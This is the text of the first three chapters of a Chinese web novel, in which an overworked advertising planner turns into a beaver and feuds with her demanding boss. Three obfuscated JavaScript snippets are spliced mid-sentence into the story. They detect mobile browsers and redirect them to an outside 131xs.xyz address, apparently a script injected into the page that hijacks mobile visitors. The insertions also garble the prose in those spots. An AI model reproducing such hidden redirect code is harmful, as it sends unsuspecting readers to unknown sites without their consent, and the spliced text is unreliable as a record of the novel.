《加班太多变成河狸了》 1. 变身 徐向迩这辈子没怎么讨厌过别人,她始终认为,所有人都只会是人生的过客,太多珍惜、喜欢、雀跃的情绪都无法太过长久,更不必浪费负面情绪在这些过客身上。 直到她二十五岁的前一日,也仅仅只有两个能称得上是讨厌的人而已。 第一个是她那个失职已久,已不在人世的父亲徐鸣,因为无法原谅他,于是讨厌了许多年,但也谈不上恨。 第二个则是眼前这位,坐在会议室里听下属汇报工作的陈弋。 江禾市的三月初,浓浓的湿雾笼罩着整座城市,公司会议室的落地窗外一片朦胧,只有陈弋无比具象,一种具象的锋利感。 他翘着二郎腿坐在最里面的中心位置,戴着黑色边框眼镜,表情冷峻地听同事汇报工作。冷白的手里抓着一支深蓝色钢笔不耐烦地转着,钢笔在桌上发出“嗒嗒嗒”的清脆声响,那声响仿佛通过木桌共振,让徐向迩放在一旁的水都跟着泛起波澜。 而徐向迩则坐在离门口近的地方,最不起眼的位置,她捂着肚子,咬唇想要抵抗住小腹带来的阵痛。 周一例会,迟来的月经也在这天出现。 倒霉的人总是过分情绪稳定,她蹙着眉头,佯装认真地在听他讲话,但内心早已在呼唤那颗刚到公司就吞下的布洛芬。 布洛芬,求你快发挥作用吧。 她快撑不住了…… “这版不行,还是太普通,在上周版本的基础上,再继续创新。”陈弋环顾一周,视线最终定格在徐向迩身上。 会议室里的其他人也都看过来,坐在徐向迩左侧的周慧使劲拽了下她的衣袖。 徐向迩抬眸,咬过的唇毫无血色,她微微笑着,不明所以地看向陈弋。 她方才走神什么都未听清,小腹疼得额头都冒出虚汗。 表面微笑,内心仍在咒骂。 都怪该死的陈弋!害她周末加班改了好久的策划案。 周慧看她不说话,不顾陈弋冰凉的眼神,凑到徐向迩的耳边轻声说,“让你重新改。” “艹……”徐向迩用气声暗骂了句,周慧吓了一跳,幸好下秒她就清醒过来,温声回复,“好的,陈总,我改好后发给您。” “明日早上我就要看到。” 陈弋把策划案摔在桌上,起身朝门口走来。 受不了了。 摔什么摔,没礼貌的人都赶紧滚出地球。 陈弋走过徐向迩身边时,步伐停了一瞬,而后才离开会议室。他离开会议室的那刻,所有人都同时舒了口气。 徐向迩面色苍白,脚尖着地,挤压着腹部,“周慧,我不行了,得去趟厕所,你帮我把东西拿回工位吧,谢了。”话音落下,她就跑向洗手间。 从洗手间出来后,徐向迩的不适感有所缓解,她撑着身体回到办公区域时,周围的同事都在闲聊。 周一上午,大部分的打工人都习惯先聊会天,再进入工作状态,但徐向迩今天想要快些完成工作,哪怕加班到深夜也无妨。 她已经被迫加班十几天了,多一天也没什么大不了的……可明天的生日,她必须给予自己一个安静的夜晚。 没有陈弋这个冷面上司的夜晚。 于是刚回到工位,徐向迩就打开息屏的办公电脑,准备修改策划案。 周慧把泡好的姜汁红糖水放在她的桌上,“尔尔,先喝点红糖水,暖一暖再改吧。” “好,谢啦。” “哎——说真的,这个大魔王来公司半年,折磨得最厉害的就是咱们尔尔了。”另一侧的男同事喝着热茶,摇着头感慨。 “对啊,天天改来改去,差不多得了。”另一位同事凑过来,“尔尔,你这是第几版了,周末做的?” “嗯,加班两天赶出来的,我现在都不知道准点下班是什么滋味了。”徐向迩喝了口红糖水,打开演示文档和活动策划的场地资料,准备修改一下具体内容。 同事李雯插话,“他刚来的时候,都说是空降的关系户,也不知道是不是想证明自己,才天天这么多事的,只可惜人家是天之骄子,家里有钱。苦的都是咱们这些手底下的人。” “所以他到底是不是温氏集团的继承人啊,我之前还看他和温董事的秘书聊天。” “不是吧,他们不都猜测是温董朋友的孙子来体验生活的么。” 徐向迩所在的易曲,是温氏集团旗下的广告公司。策划部共有三个组。半年前部门经理跳槽前往其他公司,位置就此空缺,三个组的组长都在跃跃欲试,可谁也没有坐上。陈弋在那时空降公司,成为部门经理。 于是各种猜测也随之而来,徐向迩本没有参与过这种讨论,但被他折磨久了,也忍不住想要骂人。 徐向迩叹了口气,想到什么,抬眸问同组的李雯,“雯姐,我记着前两天你孩子生病,他都没让你早退,小朋友好多了么?” 李雯苦笑:“这你还记得啊,好多了,我让我妈过来帮我看一阵子。” 办公区域不远处的走廊处是茶水间。此时里面的咖啡机传出声响,从里面走出的同事,下意识瞥了眼走廊尽头的办公室,立马加快脚步,端着咖啡走过来。 他轻声说:“大魔王出来了,赶紧上班。” 瞬间,整个办公室都恢复寂静。 只剩下鼠标和键盘的声响,以及那位走过来时,皮鞋踩在地面上清脆的声音。 徐向迩在他经过时,翻了个白眼,忽略到那股檀木香。 有钱人就是烧钱,每日都在喷香水,熏得她头疼。 在内心发过牢骚后,徐向迩伸手摸到布洛芬药片,在想要不要再吞一片,几番考虑下,还是只贴了个暖贴。 自从毕业后,她就丧失了来月经的自由。上学时起码可以请假,但上班之后,总想着不要多事,所以总是吞个止痛药再继续上班。 但徐向迩前阵子去看了中医,她的月经失调,医生建议最好少吃些止痛药。 没想到工作两年多,存款没有变多,反而是病越来越多。 她是如何把生活过得乱七八糟的。 或许是自找的,明明在舅舅舅妈所在的城市住了许多年,可上完大学后,还是选择回到江禾市工作。 毕竟这里是和父亲有着许多回忆的城市。 办公室里人来人往,都不过是人类切片,放入罐头里也看不出分别。 灯亮灯灭,周围的工位人都已空。 大厦外灯光璀璨,车水马龙。人类制造的车流是条不漂亮的银河,望不到尽头的焦躁感处于这庞大的城市之中。 而能浇灭这焦躁的绝不是突如其来的暴雨,三月初的雨,无比冷寂。 徐向迩望着外面的大雨,一瞬落寞。 二十一层的高度,也只能看到些许云雾,连嘈杂的声音都被远远隔开。 她看了眼显示屏右下角的时间,已经将近晚上十一点。周围的顶灯都被关上,只余下她这一排的灯还亮着。 光落在徐向迩的脊背,她身形纤瘦,像是深海里单薄的,孤单的鱼。 感应门被人敲响。 徐向迩正在核查预算表,听到玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585575|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门的声音吓了一跳。 难道是同病相怜的同事忘记拿工牌了? 徐向迩起身,太久没有从工位起来,她的腰都发疼,边捶腰边走去感应门,却看到了外卖员。 她面露疑惑地打开感应门:“您找谁?” “请问是小耳朵吗?” 亲近的人确实会这样喊她。 可是她没点外卖啊。 被雨淋透的外卖员将保护得很好的外卖盒递给她。 “不好意思,因为是生日蛋糕,而且还在下雨,所以来得有些慢了。”外卖员的头盔也未摘下来,雨水从身上低落在地,门口洇湿一片,“麻烦还是给我个好评吧。” 徐向迩一听是蛋糕,就知道是闺蜜蒋柔替她点的。 她眼眶发热,接过外卖盒,“小哥,你稍等一下。”她从工位上拿了小包纸巾,并把休息室微波炉里,下班前热好的牛奶拿出来,一并都给了外卖员。 回到工位后,她拨通蒋柔的视频电话,打开蛋糕包装盒,粉色蝴蝶结蛋糕,上面点缀了些珍珠模样的硬糖。 在这一隅,闪闪发亮。 “收到了吗,宝贝,生日快乐啊。”蒋柔扶了扶镜框,凑到镜头前傻笑,“加班也要注意休息,吃会蛋糕再看电脑,别累着眼睛!我可就这一个徐向迩,你给我照顾好了!” 社畜的默契。 蒋柔是名小编剧,正在横店跟组,做着跟组编剧的工作,加的班并不比徐向迩少。 “知道。”徐向迩迅速眨了几下眼睛,收敛起情绪,开始疯狂吐槽模式,“别提了,我真的快气死了!你说,我这半年没得抑郁症,都算是我抗压能力强了。” “哦,我的小耳朵,你真的憔悴了不少,姐姐心疼你!” 徐向迩拆蜡烛袋时,听到蒋柔说的话,下意识往电脑旁的镜子里看了一眼。 作为称职的社畜,她的桌面上堆积了不少个人用品,她习惯在键盘旁放一面镜子,时不时看上几眼。 已隐隐能看出消瘦的鹅蛋脸,脸色因熬夜而惨白,圆圆的杏仁眼也充斥着疲惫,眼皮发肿,瞳孔暗淡,鼻翼上泛着红色痘痘,微微扯出的笑容都有些苦意。 活着就好。 “还不是因为连续加班十几天啊,该死的陈弋!他是不是把我当全年午休的河狸了,过生日也不放过我!”徐向迩插上蜡烛,翻包寻找打火机,语气颇为愤慨,“河狸也比当社畜好,河狸宝宝都有家,我忙活了这么久,都没有属于自己的房子!” “别激动,别激动。”蒋柔放下手里的剧本,哄她,“好了,快许个愿望吧。” “嗯……” 她本来不是个会抱怨的人的。 “我希望,我希望……” 明明今日也是爸爸的忌日,她却还在许着生日愿望。 徐向迩闭着眼感受到蛋糕上微弱的烛光,内心某处在隐隐作痛。 “我希望可以不做人类了,做什么都好,河狸也好。” 做什么都好,只要别再把我一人留在这里。 大厦外电闪雷鸣,大颗大颗的雨滴砸在落地窗上。 徐向迩上方的灯带噼里啪啦地发出声响,冒出烟雾,办公室瞬间陷入漆黑,蛋糕上的烛光也随之熄灭。 手腕上的电子手表突然亮起,上面显示的时间恰好是零点整。 视频画面里的徐向迩消失不见,电脑椅的轮子滑了一下,椅子上坐了只河狸,原本拿着的手机变成了一根直直的木棍…… 在黑暗中,河狸的豆豆眼轻轻眨了眨,发出了尖叫。 2. 噩梦 哪个不像话的神明,听错了愿望?也太不负责了吧…… 玩偶大的河狸竟能看出些情绪,眼睛里闪过片刻惊慌、疑惑,抑或是突然不用痛经的喜悦感。 徐向迩试探地说了句话,似乎说的还是人话。 说人话的河狸,更让人恐惧吧。 徐向迩站在椅子上,她还未想明白这是什么状况,对着毛茸茸的身体发了会呆,扁而硬的尾巴让她有些不舒服,顺手摸了两把,表情都皱起来,一屁股坐在椅子上冷静。 过度震惊,反而会平静地没有情绪。 要不说社畜的抗压能力强呢,最近她是不是真疯了。 从哪刻开始疯的,难道外卖员也是幻象吗? 徐向迩想了想,低头看了眼地面,又转过头看向椅子上的抱枕,她定睛看向黝黑的爪子,活动了几下,新奇地用爪子抓住抱枕,奋力一扔,抱枕恰好落在椅子前方。 她心一狠,跳了下去,恰好摔在柔软的抱枕上。 河狸的脚蹼走起路来有些奇怪。 她迈着小碎步走到休息室,那里有面落地镜。 站到镜子前,借着城市强大的光污染,徐向迩看清了镜子里的自己。 矮矮的,眼睛清澈的一只河狸…… 扑闪闪的眼睛过小,像是常吃的咖啡糖;前爪过短,但不妨碍活动;毛发是深棕色的,浓密柔顺,她稍微侧身,看向镜子里的尾巴,感觉像巧克力味的巧乐兹。 看起来是河狸幼崽,徐向迩坐在镜子前,小眼睛充斥着迷茫。 这是爱丽丝梦游仙境,还是她正在做的活动项目气场有问题? 公司想要打造企业公益形象,在年后接了一个野生动物公益项目,主要是大众科普类的内容,由于和一系列品牌联名,又要符合各品牌的品牌调性,徐向迩在这个项目中,特意选择了河狸的形象,作为其中一家品牌的主推。 最近,她所在的策划一组主要是她负责这个项目,于是连续加班好几日,毕竟品牌之多,要考虑的内容也随之增多。 她觉得自己染上脏东西了。 还是说,都怪陈弋? 那确实怪他。 徐向迩使劲跺了跺脚,抬头看向窗户的位置,看不到……她只能奋力爬到沙发上,往外看了一眼,还在下暴雨。 回家是不可能了。 她坐在沙发上发怔,眨眨眼,开始自言自语,“不会到死都是河狸了吧。老天爷,那为什么我去年许愿从天而降五百万元,你不听呢,这时候就听了!” 徐向迩用小爪子挠了挠肚皮,还怪软呢。 该说不说,确实有点饿了。想到工位上的蛋糕,徐向迩从沙发跳下来,一屁股栽在地毯上。 有那么一瞬间,她都开始感谢陈弋了。 如果不是他对于办公室用品有如此挑剔的品味,也不会选到这块柔软的地毯。换作之前的地毯,她的小命可能会就此结束。 刚走出休息室,她就停下来脚步,月光落在走廊的龟背竹上。 她不受控制地咽了下口水。 河狸,动物界的小小建筑师,酷爱收集木棍。 待她回过神来时,她已经将龟背竹啃断了…… 徐向迩看着走廊掉落一地的巨大枝叶,处于黑暗之中的河狸,轻轻打了个嗝。 明日她可能会被那个洁癖上司抓去执行安乐死。 办公室刹那明亮,几秒后一声震天响的雷鸣将徐向迩彻底惊醒,她扔下龟背竹的枝干。 将地面上的枝叶收拢,甩着尾巴扔到一旁的垃圾桶里。 来来回回收拾几趟。 大半夜的,河狸在办公室里打扫卫生,被人看见都会是极惊悚的事。 徐向迩对着干净如初的地面,露出满足的笑容,下秒又皱起眉头。 她是不是被陈弋PUA了,都变成河狸了,还想着给他干活呢。 气得她想把垃圾桶踢飞。 感应门却突然发出声响,是门开了,好像有人来了! 徐向迩吓得毛发都竖起,连忙跑进一旁的休息室,东跑西窜躲进几张懒人沙发的间隙里,露出黑溜溜的眼睛,竖起小耳朵听外面的动静。 熟悉的脚步声。 她突然不想听了,河狸窝进沙发的缝隙里,埋着头躲藏。 可门外的声音还是不断钻进她的耳朵里。 陈弋站在门外,似乎在和人沟通,“怎么回事,怎么会停电?” 另一位似乎是维修人员,“可能是雷电的缘故,电路也有些老化,修一下就会好。” “嗯,尽快。”他的语气有些不耐烦,徐向迩感受到有束光闪过,他开着手电筒经过,“赶紧解决。” 暴雨天,你还让人来维修电路。 万恶的资本家。 徐向迩想用小爪子竖个中指,却没能成功,生气都有些憋屈。 想等到陈弋和维修人员离开后再去吃点蛋糕压压惊,但最近睡眠时间太短,河狸的毛发柔顺,她摸着有些舒服,再加上懒人沙发太过柔软,徐向迩竟在不知不觉中睡过去了。 …… 小河狸坐在工位上流着眼泪,对着电脑敲敲打打。 突然,大魔王陈弋出现,将文件夹摔在桌上,“别天天让我看到这些垃圾,重改!” “不要。” “你说什么?” “我说我不要改!”徐向迩大喊一声,猛地睁眼。 正在休息室喝茶的同事朝她这边望过来,“向迩,怎么了,做噩梦了么?” 窗外投进来闪耀的光芒,徐向迩支起身,揉了揉眼睛,毛毯从她身上滑落,她摸着毛毯诧异,昨天晚上她有给自己盖么? “你昨天在办公室改策划案,都没回家么?” 徐向迩头疼欲裂,大概是沙发太窄小,导致她的颈椎有些发疼,“嗯,他今天早上要。” 早上? 她看了眼外面的大太阳,着急忙慌地从沙发上起来,丝毫没注意到从身上掉落的细小木棍,“现在几点了?” “九点。” 徐向迩立刻夺门而出。 / 办公室里常备着洗漱用品,徐向迩在洗手间简单洗漱后,回到工位吞了粒止痛药,把昨夜的蛋糕放到桌子下方,等着当午饭吃,她可不想浪费掉。 怎么会困到一口都没吃呢,她都无法共情昨晚的自己。 徐向迩放蛋糕时,顺手捡起掉在地上的抱枕,抱枕下方还放着手机,她皱着眉头坐在椅子上,将修改好的策划案打印出来,边打印边揉着后颈。 她是不是有些神志不清,感觉哪里都不太对劲。 打印装订后,徐向迩先去策划一组组长邱长顺那里汇报,他昨日在外出差,今日才来上班。 待他过目后,她才拿着策划案去找陈弋。 她提心吊胆地站在办公室门口,深深吸了口气,又缓缓吐出,才下定决心敲门。 门内的声音冷冽,听不清情绪,“进。” “陈总,方案做好了,您过目一下。” 徐向迩走到办公桌前将方案递过去,视线开始乱瞟。 办公室内的西南方向有个长方形鱼缸,能将徐向迩塞进去的大小。鱼缸的过滤系统嗡嗡作响,但声音并不明显。鱼缸里的糖果色天使鱼成群,在水草间摇曳。 徐向迩之所以认识这种鱼,是因为她的爸爸曾经也喜欢养,只不过他死后,那些鱼都被徐向迩埋在家里的花盆里了。 不过,天使鱼。 徐向迩冷笑一声,你养再多,也不会变成天使的。 她的视线随着游动的鱼移动着,直到陈弋用钢笔敲起桌面,她才回过神,与他直视的瞬间又低下头。 上班见上司与上学时被班主任叫到办公室,并没有实质性的差别。 “为什么非要请男团做线下预热?”陈弋用食指扶了扶眼镜,举止优雅得体,但声音仍冷漠。 徐向迩温声解释道:“因为公益活动本就难做,做得不出彩就无法吸引其他人,请一些年轻人都喜欢的男团,会带来一定的热度。” “太过浮躁了。”陈弋又翻了几页,“其他品牌都具有一定的品牌效应,自然会带来一定的关注度。” 徐向迩佯装淡定地继续分析,坦率地说出自己的想法,“这……我认为做这个公益项目的品牌,也是为了树立品牌的社会形象,在一定意义上说,他们也不缺关注度,仅仅是为了打印象分。更重要的是这个公益活动本身吧,让更多年轻人了解这些野生动物,才是重点。” 静得能听到鱼吐泡的声响。 陈弋的手指轻轻敲着桌面,思考半响,抬眸问道:“预算能请到?” “应该可以。” 策划案里出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585576|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现的男团并不是顶流,而是个不出名的小糊团,但业务能力好,在业内有一致好评。 “要确定。”陈弋合上策划案,递到她的手里,“那就这样,不用再改了,后续记得跟进。” “收到。”徐向迩难得松了一口气,虽然这个项目结束,也要继续忙碌其他事,但起码是二十五岁的好开端。 总要有顺利的好事轮到她了吧。 待徐向迩走到门口时,陈弋突然出声喊住她。 “等等。” “还有什么指示,陈总。” “二组的妇女节活动要去现场,但负责的那个人请假了,你和我去。” “为什么是我?”她早就不在二组了啊,是你刚来时,重新安排的啊! “因为这个项目你熟悉。”陈弋没再废话,看了眼手表,“半小时后出发。” 然后将他的车钥匙扔了过来。 徐向迩动作迅速地接过来,从办公室里出来后,捏紧钥匙,打了个空气拳才回到工位。 仅剩半小时,也做不了其他事,徐向迩拿着蛋糕去了茶水间,给自己冲了杯咖啡喝。 “诶,尔尔,你怎么在这坐着,这可才上班一小时不到,你就背着我摸鱼?”周慧拿着杯子路过。 “不是,我等会要和大魔王一起出外勤。”徐向迩挖了口蛋糕,神情落寞,将餐具拿过来,递到她的手里。 “那你是真完蛋了。”周慧接过刀叉,也开始吃蛋糕,“怎么今天才吃,不是昨天是你的生日么?” “哎,一言难尽,昨天可能忙疯了,没什么记忆,直接在休息室睡过去了。”徐向迩揉了揉脖子,“你等会帮我贴个膏药吧,实在疼得受不了了。” “行,那快点吧,和他出去最好不要迟到。” 徐向迩抓狂,狠狠吞下几口蛋糕发泄。 据说与陈弋出过外勤的同事无一例外都会崩溃。 开车时,他会有意无意地挑剔你的车技;到现场时他会特意避开电梯,只走观光玻璃电梯,如果没有那就只能爬楼梯,你也只能陪着他。 甚至有次,办公室的某位女同事陪他出外勤,去考察活动场地。结果连跑几个场地后,陈弋把女同事落在那里,自己开车回公司了。 到公司后,他才发现这件事,女同事只得从荒无人烟的场地附近徒步走到能打到车的地方。 没过多久,那位女同事就辞职离开,从那之后,这个空降来的上司,才让策划部充满怨气。 这是他来到公司后,徐向迩第一次与他一起出外勤。 半小时后,徐向迩从大厦地库将陈弋的车开出来,停在大厦门口等着他下来。 她坐在驾驶座上,东看看西摸摸,第一次开宝马车,不得不说还挺舒服,徐向迩坐在驾驶座上陶醉,“哎……天天骂人家,也不妨碍人家有钱啊。” 没过几分钟,陈弋出现在车窗外,敲响车窗时,徐向迩按下按钮,第一回觉得这位大魔王眉清目秀的。 金钱的力量就是牛啊! 陈弋深邃的眼眸紧盯着她,骨节分明的手搭在窗沿,令徐向迩愣了一瞬,她抬眸只得看到他流畅的下颌线,他微抿的唇透露些许不耐烦。 “下车。” “啊?”徐向迩吞咽下紧张的口水,“陈总,不去了?” “下来去副驾。” 等到徐向迩重新上了车,看着扣安全带的陈弋,面露疑惑,这怎么和那些同事说的不一样。 她不用开车诶。 由于去往市中心,路上有太多拥堵路段,等待红灯的过程中,陈弋接了通电话,电话连接的车内蓝牙,公放模式。 “陈总,昨晚停电,监控也跟着停电了,也就……没有留下视频信息。” 他的手指在方向盘上敲打,“知道了。” 随之挂断电话。 “……怎么了?陈总。” 徐向迩不善于琢磨上司的心思,但适度关心,她是需要的,如果能帮上司解决一定的难题也不错。 要知道,陈弋来之前,她可没有这样想过。 他侧头看过来,“你昨晚是不是在公司加班?” “是,怎么了——” “那走廊的龟背竹,出了什么事,你知道吗?” “……” 她忙忙碌碌一上午,是不是忘记了什么荒谬的事? 3. 膏药 雨过天晴,经过一上午的曝晒,路面的积水已经全无,阳光被车窗遮挡,但徐向迩仍有些燥热。 或许是车内开的暖风太足。 “呃——”徐向迩回想了一下,离开办公室前,似乎是有人在讨论走廊植物被啃咬的事,但她忙着完善策划案,没有参与。 “昨天晚上停电之后,我就在休息室睡着了,其他不知道了。” 陈弋看她的眼神有些复杂,但听她这样说,也没有再说其他,只是点点头继续开车。 徐向迩拧眉,他为什么这么看着她? 那龟背竹又不是她啃的…… 后颈的膏药有些发痒,徐向迩忍不住挠了挠,膏药的边缘有些翘边,几缕发丝粘连在上面,每次转动脖子时都扯得发疼,她也只能忍耐。 车内萦绕着膏药味,她偷偷瞄了眼陈弋,见他没什么反应,可她还是心虚地把车窗半开着,让风吹散严肃的气氛。 外勤来的太突然,但好在不用她开车,于是剩下的时间,徐向迩都在埋头查看资料。 这次的活动是因为五日后的三八妇女节。 新年过后,总要为了各种节日活动忙碌,上个月为了情人节,整个公司都在加班,没休息几日,又要迎来妇女节。 前些年,三八妇女节的节日活动,基本都是一些诱哄女性进行消费的活动,打着“女神节”要多爱自己的旗号,但实质上都没有真正为女性考虑。 策划二组主要负责这个项目。 徐向迩比较了解是因为在陈弋没有空降公司时,她就是二组的组员,他来到公司后,重新进行分配,她就被换到了一组。 也是这样,两组的交流反而比原先要多,会互相给予意见,只要不涉及业绩争夺问题,也算是和谐,竟也是难得的平衡。 于是二组和徐向迩关系较好的同事贾于森,询问过她的意见。 她的想法主要是打破“女神节”的现有印象,重新关注女性真正的需求,而不是表面做些促销活动。 但仅仅只是做快闪店,女顾客过来打卡也是不够的。 于是徐向迩提议邀请网络爆火的一位女画家,她的绘画灵感多为女□□官,但颇具有神性,没有性暗示的成分。 邀请她到现场和参与者一起绘画,撕破女性原有标签,当日所有收益都投入女性公益活动中。 并且在现场开设女性生活小课堂,打破日常生活中的“不可言说”;也在展厅开设妇女节由来的科普展板,让大众了解过去世界各地为争取女性权益的那些先锋。 先前在网络上为各公司的保洁阿姨设立休息室等预热活动,已经吸引了一定的关注度。 今日去现场,也是为了确保场地安全和活动顺利进行,毕竟要让那些参与的品牌看到活动效果,才会有后续合作的可能性。 翻看过活动资料后,车已经停在了商场地下车库,不远处有商场宣传的工作人员接待。 陈弋肯定不会多说话,那么沟通任务全靠徐向迩。 地下车库前往商场,必然要经过电梯,她想到陈弋的习惯,这里可没有观光电梯。 “那个,陈总,我为大家买了奶茶,就在商场外,咱们从商场大门进吧?” “嗯。”陈弋神情冷淡,手里拎着黑色西装外套,长腿一迈,朝车库的出口走去。 徐向迩舒了口气,和身旁的工作人员小刘跟了上去,边走她边采购奶茶。 小刘那边需要六杯,而她这边,她看了眼已站在车库出口的陈弋,他喝什么? 在办公室里他一贯只喝冰美式。 于是徐向迩切换了小程序,买了一杯冰美式。 拿完奶茶和咖啡后,三人来到商场查看布置好的快闪店。 虽是工作日,但商场内的人流量并不低,快到正午,有许多上班族来这里吃午餐,经过快闪店都会看上几眼。 到达快闪店后,徐向迩就进入工作状态,将芋泥奶茶放在一旁,和工作人员交流。 “画家她习惯赤脚作画,最好备一块地毯,区域和其他浏览者区分开。”她四处查看,记录需要更改的地方,“颜料要无害的,以免女性带着小孩过来参与,但不要变成小孩子的画画聚会,这是为女性设置的节日。” 她站在快闪店中央,思考半响,“前面那块空的区域,可以放置一些桌椅,搞一些涂色娃娃,让小孩在那里玩,周日人流量大,一定要确保孩子安全。” 徐向迩浏览一周,提过建议后,回身寻找陈弋。他依靠在引导台旁,喝着冰美式,查看平板上的内容,身旁的工作人员为他讲解。 有些人的矜贵旁人学不来,只是站在那里,就能一眼捕捉到他的身影。 陈弋眉眼深邃,瞳仁漆黑,认真起来时太过严肃冷峻;右眼下有颗痣,衬托得他更加冷淡;穿着极为合身的高定西装,衬得他挺拔颀长,比例极好。 怪不得大家都猜测他是某知名集团的继承人,为体验生活才下凡来到温氏集团最不出名的广告公司。 否则,徐向迩大抵不会有其他机会与这样的人相遇。 而她呢。 徐向迩看向了一旁整面墙的落地镜,对着其中的自己发怔。她眼下的青黑在洗手间涂了几层的遮瑕膏都不管用,头发乱糟糟的用鲨鱼夹随意夹住,两三日都未换过的蓝色毛衣加牛仔裤,出发前随手抓了周慧的北面黑色羽绒服穿。 商场中人来人往,在镜子里像静默的影片,唯独她渺小无话。 膏药下的那片皮肤又开始发痒,她转了下脖颈,骨头发出“咔咔咔”的声响,干脆脑袋掉了算了。 不过说归说,徐向迩属于头掉了也会伸手接住再安上的类型。 生活再糟糕也不致死。 兴许是方才检查活动设备,又牵动了膏药,徐向迩摸了一下发现翘起的部分越来越大,叹了口气想把头发解救出来。 拉扯半天,弄得头皮都在发麻,因羽绒服厚重从而抬起的手臂也有些发酸,她抬脚想走到落地镜前整理一下。 陈弋却跟过来,外套搭在左臂,站在她的后侧,徐向迩被吓了一跳,“陈总,要去餐厅了吗?” 两人还要与商场活动负责人一起共进午餐。 “这么费劲,再弄就头秃了。”他稍稍低头,长睫下有片月牙状阴影,哼笑一声。 徐向迩想翻白眼,但为了工资还是忍住。 “不好意思。” 碍着您的眼睛了,不过为什么她总是要不好意思。 “直接剪掉。”陈弋从右侧兜里拿出手工剪刀,左手捏住她那几根脆弱的头发,往后一扯。 徐向迩头皮发麻,随着他的动作,嗅到从身后渡过来隐约的檀香。 “别了吧。” 哥,还是可以忍一忍的。 “这膏药味我忍了一路,赶紧摘了。”陈弋抬眼看了眼镜子里的她,微微低身,凑近她的脖颈。 徐向迩放弃挣扎,这膏药也确实有些烈,后颈那块皮肤像有无数蚂蚁爬过,无法忍受。 “哦,那……谢谢陈总了。” 真不想说谢谢,想把膏药都糊他脸上。 不加班的话,她也不至于这么疼痛难耐…… 徐向迩抬眸,望向镜子里,自己只到他的下巴,于是将陈弋的表情看得一清二楚,他似乎有些嫌弃,迅速将几缕头发剪断,然后后撤。 完成之后,他转身回到快闪店将剪刀还给工作人员。 至于这么嫌弃吗。 徐向迩没在意,缓慢地把膏药撕下,折了几下扔进一旁的垃圾桶里,嗅了嗅身上的味道,垂眸从挎包里拿出藏在深处的香水,朝着后颈喷了两下。 回到陈弋身边时,他做出伤害力十级的动作,轻轻揉了两下鼻尖,紧皱着眉说道:“喷了什么,还不如膏药味。” 徐向迩要炸了! 忍耐,忍耐是打工人的良好美德。 几人要前往餐厅时,徐向迩的小腹突然坠痛,她得去处理一下,不然稍后和领导吃饭,她也找不出间隙替换卫生巾。 “不好意思,陈总,我先去趟洗手间。” 徐向迩被工作人员领到员工通道,去人流量较少的员工洗手间。走过空旷的通道,她选了最里面的隔间,坐在马桶盖上捂着小腹。 怎么这回会这么疼,往常第二天会好一些的。 徐向迩听到手机振动,打开一看,对接人员发来餐厅地址,她决定先摸鱼五分钟,再前往餐厅。 “该死的陈弋,要不是他气我,也不会这么疼。”徐向迩把手机放在一旁的置物架上,崩溃,“他为什么非要这样对我,我是不是上辈子得罪他了!” 和上司出外勤,真的好考验人啊。 徐向迩摸着后颈那块仍在发痒的皮肤,挠了两下后,倏地想到陈弋帮自己剪头发的画面,呆愣两秒,轻轻拍了脸颊几下,“徐向迩,你最好给我清醒一点。” 突然身体产生一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585577|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股诡异的感觉,似乎哪里都变得毛茸茸的。 徐向迩的手机从置物架滑落在地上,她想低身去捡,却发现自己的手变成动物的爪子,她眨了几下眼睛,看了看周围。 大白天,商场洗手间。 没错啊,她不会又睡着了吧。 还是…… 还是说昨天那些都不是梦。 洗手间里陷入一阵诡异的沉默里。 徐向迩站在马桶盖上,看了看自己身后的尾巴,又垂眸看了眼掉在地上,已经有裂纹的手机,她的眼皮狂跳,突然意识到一件事。 “卧槽,所以龟背竹真是我啃的!” 她的声音太大,隔壁隔间的人都听得到,吓得那人问,“姐妹,你还好么?” “没事,没事。”河狸一屁股坐在马桶盖上,放弃挣扎,“起码还能说人话,我没事的。” 也不知道是不是该庆幸的事。 徐向迩开始复盘昨夜的事。 所以那些都是真的,真不是她已经加班加疯了? 可为什么今天手机没有变成木棍,难道是因为变身前就不在手里么,只有身上携带的物品,才会跟着改变? 下次试试看吧。 不是,她为什么这么快就接受还有下次这件事了? 起码要找到触发契机吧。 更重要的是…… 徐向迩望向手机屏幕上,陈弋拨打过来的电话。 拖着小巧的身体,她用小爪子勾住一旁的纸巾桶,顺着滑了下去,走到手机旁,按住接听键。 第一次尝试就按动了,徐向迩看了看自己的爪子,原来这就是loopy原型啊。 做策划案的时候还没觉得有这么可爱呢。 就是尾巴有点长扁,难以行动。 “徐向迩,要让所有人都等着你?”手机传来陈弋压制怒火的声音。 她恍然回神,“那个……陈总,我能不能不去了?” 